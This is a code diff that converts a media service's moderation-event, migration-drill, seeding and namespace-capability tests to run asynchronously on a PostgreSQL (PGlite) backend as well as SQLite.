- const conn = db.getDb();
- db.upsertApp({ app_id: 'live', api_key: 'live-key-modev' });
- const events = require('../server/events');
- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
- const model = require('../server/objects/model');
- const moderation = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope)).filter((e) => e.event_type === 'media.moderation.action');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-modevents-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ });
+ const stub = http.createServer((req, res) => { req.resume(); req.on('end', () => { res.setHeader('Content-Type', 'application/json'); res.statusCode = 404; res.end('{}'); }); });
+
+ (async () => {
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const contracts = require('openvibe-contracts');
+ const db = require('../server/db/database');
+ const conn = db.getDb();
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-modev' });
+ const events = require('../server/events');
+ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
+ const model = require('../server/objects/model');
+ const moderation = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope)).filter((e) => e.event_type === 'media.moderation.action');
- const OWNER = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPR', STAFF = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';
- const obj = model.createObject({ app_id: 'live', kind: 'vod', owner_subject: OWNER, lifecycle_status: 'ready', mime_type: 'video/webm', size_bytes: 1 });
+ const OWNER = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPR', STAFF = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';
+ const obj = await model.createObject({ app_id: 'live', kind: 'vod', owner_subject: OWNER, lifecycle_status: 'ready', mime_type: 'video/webm', size_bytes: 1 });
- const hold = model.placeHold({ object_id: obj, kind: 'moderation', reason: 'reported for review', placed_by: STAFF, note: 'ticket 12' });
- let ev = moderation();
- assert.strictEqual(ev.length, 1, 'one event for the placed hold');
- const e = ev[0];
- assert.ok(contracts.validate('media.moderation.action@1', e.payload).valid, JSON.stringify(contracts.validate('media.moderation.action@1', e.payload).errors));
- assert.deepStrictEqual(e.payload.target, { type: 'vod', id: obj, owner_subject: OWNER });
- assert.deepStrictEqual([e.payload.action, e.payload.actor_subject, e.payload.reason, e.payload.details.kind, e.payload.details.hold_id], ['hold.placed', STAFF, 'reported for review', 'moderation', hold.id]);
- assert.deepStrictEqual([e.actor, e.subject, e.visibility], [{ type: 'user', id: STAFF }, { type: 'moderation_action', id: `vod:${obj}` }, 'internal']);
- assert.ok(!JSON.stringify(e.payload).includes('ticket 12'), 'the staff note stays in Media');
+ const hold = await model.placeHold({ object_id: obj, kind: 'moderation', reason: 'reported for review', placed_by: STAFF, note: 'ticket 12' });
+ let ev = await moderation();
+ assert.strictEqual(ev.length, 1, 'one event for the placed hold');
+ const e = ev[0];
+ assert.ok(contracts.validate('media.moderation.action@1', e.payload).valid, JSON.stringify(contracts.validate('media.moderation.action@1', e.payload).errors));
+ assert.deepStrictEqual(e.payload.target, { type: 'vod', id: obj, owner_subject: OWNER });
+ assert.deepStrictEqual([e.payload.action, e.payload.actor_subject, e.payload.reason, e.payload.details.kind, e.payload.details.hold_id], ['hold.placed', STAFF, 'reported for review', 'moderation', hold.id]);
+ assert.deepStrictEqual([e.actor, e.subject, e.visibility], [{ type: 'user', id: STAFF }, { type: 'moderation_action', id: `vod:${obj}` }, 'internal']);
+ assert.ok(!JSON.stringify(e.payload).includes('ticket 12'), 'the staff note stays in Media');
- model.releaseHold(hold.id, 'app:live');
- ev = moderation();
- assert.strictEqual(ev.length, 2);
- assert.deepStrictEqual([ev[1].payload.action, ev[1].payload.actor_subject, ev[1].payload.details.by, ev[1].actor], ['hold.released', null, 'app:live', { type: 'service', id: 'media' }]);
- model.releaseHold(hold.id, STAFF);
- assert.strictEqual(moderation().length, 2, 'releasing twice announces once');
+ await model.releaseHold(hold.id, 'app:live');
+ ev = await moderation();
+ assert.strictEqual(ev.length, 2);
+ assert.deepStrictEqual([ev[1].payload.action, ev[1].payload.actor_subject, ev[1].payload.details.by, ev[1].actor], ['hold.released', null, 'app:live', { type: 'service', id: 'media' }]);
+ await model.releaseHold(hold.id, STAFF);
+ assert.strictEqual((await moderation()).length, 2, 'releasing twice announces once');
- model.placeHold({ object_id: obj, kind: 'creator_pin', reason: 'my favourite', placed_by: OWNER });
- assert.strictEqual(moderation().length, 2, "a creator's own pin is not moderation");
+ await model.placeHold({ object_id: obj, kind: 'creator_pin', reason: 'my favourite', placed_by: OWNER });
+ assert.strictEqual((await moderation()).length, 2, "a creator's own pin is not moderation");
- // A developer sandbox tenant announces nothing.
- db.upsertApp({ app_id: 'app.p_sandbox', api_key: 'sandbox-key' });
- const sandbox = db.isSandboxTenant('app.p_sandbox');
- if (sandbox) {
- const so = model.createObject({ app_id: 'app.p_sandbox', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 });
- model.placeHold({ object_id: so, kind: 'admin', reason: 'x', placed_by: STAFF });
- assert.strictEqual(moderation().length, 2, 'sandbox tenants produce no platform events');
- }
+ // A developer sandbox tenant announces nothing.
+ await db.upsertApp({ app_id: 'app.p_sandbox', api_key: 'sandbox-key' });
+ const sandbox = await db.isSandboxTenant('app.p_sandbox');
+ if (sandbox) {
+ const so = await model.createObject({ app_id: 'app.p_sandbox', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 });
+ await model.placeHold({ object_id: so, kind: 'admin', reason: 'x', placed_by: STAFF });
+ assert.strictEqual((await moderation()).length, 2, 'sandbox tenants produce no platform events');
+ }
- events._reset();
- stub.close();
- console.log('moderation events: all checks passed');
- process.exit(0);
+ events._reset();
+ stub.close();
+ console.log('moderation events: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -77,7 +77,23 @@ async function check(name, fn) {
@@ -77,7 +77,23 @@ async function check(name, fn) {
fs.mkdirSync(path.dirname(dbPath), { recursive: true });
fs.mkdirSync(path.dirname(dbPath), { recursive: true });
fs.mkdirSync(dataDir, { recursive: true });
fs.mkdirSync(dataDir, { recursive: true });
let server = null;
let server = null;
+ // This release on PostgreSQL (ADR-035) and N-1 on SQLite: they never share a database (the switch stops the
+ // service, imports, then starts this release), so N-1's SQL has no schema of this release to run on. The client
+ // half still runs, on a freshly migrated and seeded database. Both on PostgreSQL: N keeps every migration N-1 ran.
+ const pg = fs.existsSync(path.join(ROOT, 'migrations'));
+ const sqlSkip = pg && worker.engine !== 'postgresql' ? 'N-1 SQL: skipped (N-1 runs on SQLite and this release on PostgreSQL: no shared database, so no N-1 statement runs on this schema; scripts/migrate-to-postgres.js moves the data and was rehearsed)' : null;
+ if (pg && worker.engine === 'postgresql') {
+ await check(`N-1's ${worker.migrations.length} migration file(s) are all here, unchanged`, () => {
+ const dir = path.join(ROOT, 'migrations');
+ const hash = (f) => require('crypto').createHash('sha256').update(fs.readFileSync(path.join(dir, f))).digest('hex');
+ const bad = worker.migrations.filter((m) => !fs.existsSync(path.join(dir, m.name)) || hash(m.name) !== m.sha256).map((m) => m.name);
+ assert.deepStrictEqual(bad, [], 'a migration N-1 ran was removed or edited: write a new one instead');
+ });
+ }
try {
try {
+ if (pg) {
+ svc.seed({ dir: ROOT, dbPath, dataDir });
+ } else {
console.log(`n-1: this release on a database N-1 created`);
console.log(`n-1: this release on a database N-1 created`);
await check('N-1\'s schema, ledger and first-use tables load, and this release migrates and seeds it', () => {
await check('N-1\'s schema, ledger and first-use tables load, and this release migrates and seeds it', () => {
const d = new Database(dbPath);
const d = new Database(dbPath);
@@ -95,6 +111,7 @@ async function check(name, fn) {
@@ -95,6 +111,7 @@ async function check(name, fn) {
d.close();
d.close();
svc.seed({ dir: ROOT, dbPath, dataDir });
svc.seed({ dir: ROOT, dbPath, dataDir });
});
});
+ }
server = await svc.boot({ dir: ROOT, dbPath, dataDir });
server = await svc.boot({ dir: ROOT, dbPath, dataDir });
const manifest = await (await fetch(`${server.url}/release.json`)).json();
const manifest = await (await fetch(`${server.url}/release.json`)).json();
@@ -124,6 +141,8 @@ async function check(name, fn) {
@@ -124,6 +141,8 @@ async function check(name, fn) {
await server.close();
await server.close();
server = null;
server = null;
+ if (sqlSkip) console.log(sqlSkip);
+ else if (!pg) {
console.log('n-1: N-1\'s SQL on the schema this release migrated');
console.log('n-1: N-1\'s SQL on the schema this release migrated');
await check(`every statement N-1 runs still prepares (${worker.statements.length}), and none of its INSERTs misses a new required column`, () => {
await check(`every statement N-1 runs still prepares (${worker.statements.length}), and none of its INSERTs misses a new required column`, () => {
const d = new Database(dbPath, { readonly: true });
const d = new Database(dbPath, { readonly: true });
@@ -131,6 +150,7 @@ async function check(name, fn) {
@@ -131,6 +150,7 @@ async function check(name, fn) {
d.close();
d.close();
assert.deepStrictEqual(problems.map((p) => `${p.error}: ${p.sql.slice(0, 160)}`), [], 'N-1 SQL that breaks on this schema (expand first, contract a release later: ADR-028)');
assert.deepStrictEqual(problems.map((p) => `${p.error}: ${p.sql.slice(0, 160)}`), [], 'N-1 SQL that breaks on this schema (expand first, contract a release later: ADR-028)');
});
});
+ }
} finally {
} finally {
if (server) { console.log(server.log().slice(-1500)); await server.close(); }
if (server) { console.log(server.log().slice(-1500)); await server.close(); }
fs.rmSync(tmp, { recursive: true, force: true });
fs.rmSync(tmp, { recursive: true, force: true });
@@ -51,6 +51,31 @@ const SEED = `
@@ -51,6 +51,31 @@ const SEED = `
db.close();
db.close();
`;
`;
+// A release on PostgreSQL (ADR-035: migrations/): its database is an embedded PGlite directory under dataDir, which
+// the seed and then the drill-mode boot open one after the other (never both at once).
+const isPg = (dir) => fs.existsSync(path.join(dir, 'migrations'));
+const pgDir = (dataDir) => path.join(dataDir, 'pglite');
+const SEED_PG = `
+ console.log = () => {}; console.warn = () => {};
+ const fs = require('fs'); const path = require('path');
+ const db = require('./server/db/database');
+ (async () => {
+ await db.initDb();
+ await db.upsertApp({ app_id: 'live', name: 'OpenVibe.Live', api_key: ${JSON.stringify(APP_BEARER)} });
+ const put = (dir, name) => { const f = path.join(process.env[dir], name); fs.mkdirSync(path.dirname(f), { recursive: true }); fs.writeFileSync(f, 'bytes of ' + name); return f; };
+ await db.run("INSERT INTO vods (app_id, user_id, title, file_path, file_size, thumbnail_url, duration_seconds, is_public, visibility) VALUES ('live', 1, 'N-1 VOD', ?, 18, '/t/vod-1-1.jpg', 60, 1, 'public')", [put('VOD_PATH', 'vod-1.mp4')]);
+ await db.run("INSERT INTO clips (app_id, vod_id, user_id, title, file_path, duration_seconds, status, is_public, visibility) VALUES ('live', 1, 1, 'N-1 clip', ?, 10, 'ready', 1, 'public')", [put('CLIPS_PATH', 'clip-1.mp4')]);
+ await db.run("INSERT INTO pastes (app_id, slug, type, title, content, visibility) VALUES ('live', 'n1paste', 'paste', 'N-1 paste', 'hello from N-1', 'public')");
+ await db.run("INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('n1file.txt', 'live', 'n1file.txt', 17, 'text/plain')");
+ put('FILES_PATH', 'live/n1file.txt'); put('THUMBNAILS_PATH', 'vod-1-1.jpg');
+ await require('./server/objects/backfill').backfill({ onlyMissing: true });
+ const obj = await db.get("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY created_at, id LIMIT 1");
+ fs.writeFileSync(path.join(process.env.N1_DATA, 'n1-ids.json'), JSON.stringify({ object: obj ? obj.id : null }));
+ await db.close();
+ process.exit(0);
+ })().catch((err) => { process.stderr.write(String(err.stack || err)); process.exit(1); });
+`;
+
module.exports = {
module.exports = {
service: 'media',
service: 'media',
@@ -84,7 +109,9 @@ module.exports = {
@@ -84,7 +109,9 @@ module.exports = {
/** Seeds a database with the release in `dir` (opening it migrates first). */
/** Seeds a database with the release in `dir` (opening it migrates first). */
seed({ dir, dbPath, dataDir }) {
seed({ dir, dbPath, dataDir }) {
- const r = spawnSync(process.execPath, ['-e', SEED], { cwd: dir, encoding: 'utf8', timeout: 120000, env: baseEnv(dbPath, dataDir, {}) });
+ const pg = isPg(dir);
+ const r = spawnSync(process.execPath, ['-e', pg ? SEED_PG : SEED], { cwd: dir, encoding: 'utf8', timeout: 120000,
+ env: baseEnv(dbPath, dataDir, pg ? { MEDIA_PGLITE_DIR: pgDir(dataDir), N1_DATA: dataDir } : {}) });
if (r.status !== 0) throw new Error(`seeding failed:\n${String(r.stderr || '').slice(-2000)}`);
if (r.status !== 0) throw new Error(`seeding failed:\n${String(r.stderr || '').slice(-2000)}`);
},
},
@@ -93,7 +120,7 @@ module.exports = {
@@ -93,7 +120,7 @@ module.exports = {
const port = await freePort();
const port = await freePort();
const child = spawn(process.execPath, ['-r', PRELOAD, 'server/index.js'], {
const child = spawn(process.execPath, ['-r', PRELOAD, 'server/index.js'], {
cwd: dir,
cwd: dir,
- env: baseEnv(dbPath, dataDir, { MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(port), N1_SQL_OUT: sqlOut }),
+ env: baseEnv(dbPath, dataDir, { MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(port), N1_SQL_OUT: sqlOut, ...(isPg(dir) ? { MEDIA_PGLITE_DIR: pgDir(dataDir) } : {}) }),
stdio: ['ignore', 'pipe', 'pipe'],
stdio: ['ignore', 'pipe', 'pipe'],
});
});
let log = '';
let log = '';
@@ -109,7 +136,9 @@ module.exports = {
@@ -109,7 +136,9 @@ module.exports = {
}
}
// The seeded VOD's object (ids are random): the SDK's object calls address it.
// The seeded VOD's object (ids are random): the SDK's object calls address it.
let object = null;
let object = null;
- try {
+ if (isPg(dir)) {
+ try { object = JSON.parse(fs.readFileSync(path.join(dataDir, 'n1-ids.json'), 'utf8')).object; } catch { /* not seeded */ }
+ } else try {
const Database = require('better-sqlite3');
const Database = require('better-sqlite3');
const d = new Database(dbPath, { readonly: true, fileMustExist: true });
const d = new Database(dbPath, { readonly: true, fileMustExist: true });
try { object = (d.prepare("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY created_at, id LIMIT 1").get() || {}).id || null; } finally { d.close(); }
try { object = (d.prepare("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY created_at, id LIMIT 1").get() || {}).id || null; } finally { d.close(); }
@@ -14,360 +14,335 @@ const os = require('os');
@@ -14,360 +14,335 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const Database = require('better-sqlite3');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-namespaces-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_NAMESPACE_MAX_CHILDREN = '6';
-process.env.MEDIA_MULTIPART_MIN_PART_MB = '1';
-process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-
-const { serviceAuth, ids } = require('openvibe-contracts');
-const PA = `prj_${ids.ulid()}`;
-const PB = `prj_${ids.ulid()}`;
-const APP_A = `app_${ids.ulid()}`;
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-namespaces-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_NAMESPACE_MAX_CHILDREN = '6';
+ process.env.MEDIA_MULTIPART_MIN_PART_MB = '1';
+ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-// ── A database from before namespaces were rows ──
-{
- const h = new Database(process.env.DB_PATH);
- h.exec(fs.readFileSync(path.join(__dirname, '..', 'server', 'db', 'schema.sql'), 'utf8'));
- h.exec('ALTER TABLE apps ADD COLUMN project_id TEXT; ALTER TABLE apps ADD COLUMN env TEXT;');
- h.prepare("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes) VALUES ('live', 'Live', ?, 0)").run(crypto.createHash('sha256').update('live-key').digest('hex'));
- h.prepare("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env) VALUES (?, 'p', '', 1000000, ?, 'production')").run(PA, PA);
- h.prepare("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env) VALUES (?, 'p', '', 1000000, ?, 'sandbox')").run(`${PA}-sandbox`, PA);
- const put = h.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes) VALUES (?, ?, ?, 'file', ?, ?)");
- put.run(`med_${ids.ulid()}`, PA, PA, 'ready', 10);
- put.run(`med_${ids.ulid()}`, `${PA}-sandbox`, `${PA}-sandbox`, 'ready', 20);
- put.run(`med_${ids.ulid()}`, 'live', 'live.legacy.old', 'ready', 30);
- put.run('med_01M0PRE0UPLOAD0000000000AA', 'live', 'live', 'uploading', 100);
- h.close();
-}
+ const { serviceAuth, ids } = require('openvibe-contracts');
+ const PA = `prj_${ids.ulid()}`;
+ const PB = `prj_${ids.ulid()}`;
+ const APP_A = `app_${ids.ulid()}`;
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const namespaces = require('../server/objects/namespaces');
-const model = require('../server/objects/model');
-const objectRoutes = require('../server/objects/routes');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const namespaces = require('../server/objects/namespaces');
+ const model = require('../server/objects/model');
+ const objectRoutes = require('../server/objects/routes');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-const now = Math.floor(Date.now() / 1000);
-const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;
-const svc = (cap, ns = ['community']) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);
-const appTok = ({ cap = ['media.object.upload', 'media.object.read'], ns = [PA], env = 'production', project = PA } = {}) => serviceAuth.signServiceToken({
- iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns, project_id: project, env, iat: now, exp: now + 300, jti: jti(),
-}, keys.privateKey);
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ const now = Math.floor(Date.now() / 1000);
+ const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;
+ const svc = (cap, ns = ['community']) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);
+ const appTok = ({ cap = ['media.object.upload', 'media.object.read'], ns = [PA], env = 'production', project = PA } = {}) => serviceAuth.signServiceToken({
+ iss: 'https://openvibe.network', sub: `app:${APP_A}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns, project_id: project, env, iat: now, exp: now + 300, jti: jti(),
+ }, keys.privateKey);
-// ── 1. The backfill on open ──
-{
- db.getDb();
- const nsOf = (app) => db.all('SELECT namespace FROM media_objects WHERE app_id = ? ORDER BY namespace', [app]).map(r => r.namespace);
- assert.deepStrictEqual(nsOf(PA), [`app.${PA}`], 'a project object moves to app.<project_id>');
- assert.deepStrictEqual(nsOf(`${PA}-sandbox`), [`app.${PA}.sandbox`], 'its sandbox object to app.<project_id>.sandbox');
- const rows = Object.fromEntries(db.all('SELECT * FROM media_namespaces').map(r => [r.namespace, r]));
- assert.deepStrictEqual([rows.live.owner, rows.live.parent, rows[`app.${PA}`].owner, rows[`app.${PA}.sandbox`].app_id], ['service:live', null, `project:${PA}`, `${PA}-sandbox`]);
- assert.deepStrictEqual([rows['live.legacy'].parent, rows['live.legacy.old'].parent], ['live', 'live.legacy'], 'a child an object names gets a row, with the chain up to its root');
- const pre = namespaces.reservation('med_01M0PRE0UPLOAD0000000000AA');
- assert.ok(pre && pre.bytes === 100 && pre.namespace === 'live', 'an upload already in progress holds its declared size');
- assert.ok(Date.parse(pre.expires_at.replace(' ', 'T') + 'Z') > Date.now() + 70 * 3600e3, 'for the full reservation window from now');
- // Idempotent, and the reservation seed runs once: a released reservation does not come back.
- namespaces.settle('med_01M0PRE0UPLOAD0000000000AA');
- db.close();
- db.getDb();
- assert.strictEqual(namespaces.reservation('med_01M0PRE0UPLOAD0000000000AA'), undefined, 'the seed ran once');
- assert.deepStrictEqual(nsOf(PA), [`app.${PA}`]);
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_namespaces').n, Object.keys(rows).length, 'no duplicate rows on a second open');
- db.run("UPDATE media_objects SET lifecycle_status = 'failed' WHERE id = 'med_01M0PRE0UPLOAD0000000000AA'");
- console.log('✅ backfill: project objects under app.<project_id>, a row per namespace, reservations seeded once');
-}
+ // Tenants: Live, and developer project PA in production and in its sandbox. (The SQLite release moved older rows
+ // into namespaces at boot; on PostgreSQL the schema starts with them, and writes keep them.)
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.ensureProjectTenant(PA, 'production', 1000000);
+ await db.ensureProjectTenant(PA, 'sandbox', 1000000);
+ // Objects from before: one in each of PA's roots, and one of Live's in a child namespace (with its chain of rows).
+ await db.run(`INSERT INTO media_namespaces (namespace, app_id, parent, owner) VALUES ('live.legacy', 'live', 'live', 'service:live'),
+ ('live.legacy.old', 'live', 'live.legacy', 'service:live') ON CONFLICT DO NOTHING`);
+ const put = db.getDb().prepare("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes) VALUES (?, ?, ?, 'file', ?, ?)");
+ await put.run(`med_${ids.ulid()}`, PA, `app.${PA}`, 'ready', 10);
+ await put.run(`med_${ids.ulid()}`, `${PA}-sandbox`, `app.${PA}.sandbox`, 'ready', 20);
+ await put.run(`med_${ids.ulid()}`, 'live', 'live.legacy.old', 'ready', 30);
-db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 100 });
-auth.ensureTokenOnlyApps();
-assert.ok(namespaces.get('tiny') && namespaces.get('community'), 'new tenants get their root row');
+ await db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 100 });
+ await auth.ensureTokenOnlyApps();
+ assert.ok(await namespaces.get('tiny') && await namespaces.get('community'), 'new tenants get their root row');
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
-app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);
-app.use(express.json());
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v2/:app/objects', objectRoutes);
-app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
-app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));
-const server = http.createServer(app);
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);
+ app.use(express.json());
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v2/:app/objects', objectRoutes);
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => base + String(u).replace('https://media.test', '');
- const call = async (method, p, { bearer = 'live-key', body, raw, headers = {} } = {}) => {
- const h = { ...headers };
- if (bearer) h.authorization = `Bearer ${bearer}`;
- let payload;
- if (raw !== undefined) payload = raw;
- else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
- return { status: res.status, body: json, text };
- };
- const C = '/api/v2/community/objects';
- // init → PUT → complete; returns the ready object (or the failing answer).
- const store = async (url, bearer, bytes, extra = {}) => {
- let r = await call('POST', url, { bearer, body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: bytes.length, ...extra } });
- if (r.status !== 201) return r;
- const id = r.body.id;
- r = await call('PUT', local(r.body.upload.url), { bearer: null, raw: bytes, headers: { 'content-type': 'application/octet-stream' } });
- if (r.status !== 200) return r;
- return call('POST', `${url}/${id}/complete`, { bearer, body: {} });
- };
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => base + String(u).replace('https://media.test', '');
+ const call = async (method, p, { bearer = 'live-key', body, raw, headers = {} } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let payload;
+ if (raw !== undefined) payload = raw;
+ else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }
+ return { status: res.status, body: json, text };
+ };
+ const C = '/api/v2/community/objects';
+ // init → PUT → complete; returns the ready object (or the failing answer).
+ const store = async (url, bearer, bytes, extra = {}) => {
+ let r = await call('POST', url, { bearer, body: { kind: 'file', mime_type: 'application/octet-stream', size_bytes: bytes.length, ...extra } });
+ if (r.status !== 201) return r;
+ const id = r.body.id;
+ r = await call('PUT', local(r.body.upload.url), { bearer: null, raw: bytes, headers: { 'content-type': 'application/octet-stream' } });
+ if (r.status !== 200) return r;
+ return await call('POST', `${url}/${id}/complete`, { bearer, body: {} });
+ };
- // ── 2. Five verbs; the older ids keep granting the newer ones ──
- const UP = ['media.object.upload'];
- let r = await store(C, svc([...UP, 'media.object.read']), Buffer.from('root object'));
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- const rootObj = r.body;
- assert.strictEqual(rootObj.namespace, 'community', 'the root namespace by default');
- r = await call('GET', C, { bearer: svc(['media.object.read']) });
- assert.strictEqual(r.status, 200, 'read still lists (tokens from before the split)');
- r = await call('GET', C, { bearer: svc(['media.object.list']) });
- assert.deepStrictEqual([r.status, r.body.objects.map(o => o.id)], [200, [rootObj.id]], 'media.object.list lists');
- r = await call('GET', `${C}/${rootObj.id}`, { bearer: svc(['media.object.list']) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'list is not read');
- r = await call('POST', C, { bearer: svc(['media.object.delete']), body: { kind: 'file' } });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'delete is not write');
- r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.read']) });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read does not delete');
- r = await call('DELETE', `${C}/${rootObj.id}`, { bearer: svc(['media.object.delete']) });
- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted'], 'media.object.delete deletes');
- r = await call('POST', `${C}/${rootObj.id}/restore`, { bearer: svc(UP) });
- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready'], 'upload still restores (and deletes)');
- r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.object.read']), body: { type: 'invariant.scan' } });
- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'transform needs its grant');
- r = await call('POST', '/api/v2/community/jobs', { bearer: svc(['media.derivative.create']), body: { type: 'invariant.scan' } });
- assert.strictEqual(r.status, 202, `media.derivative.create transforms: ${JSON.stringify(r.body)}`);
- const job = r.body.job;
- r = await call('POST', `/api/v2/community/jobs/${job.id}/cancel`, { bearer: svc(UP) });
- assert.strictEqual(r.status, 200, 'upload still transforms');
- r = await call('GET', '/api/v2/community/jobs', { bearer: svc(['media.object.list']) });
- assert.strictEqual(r.status, 200, 'jobs are listed with list');
- r = await call('GET', `/api/v1/community/files`, { bearer: svc(['media.object.list']) });
- assert.strictEqual(r.status, 200, 'v1 files list with list');
- r = await call('POST', C, { bearer: svc(UP, ['live']), body: {} });
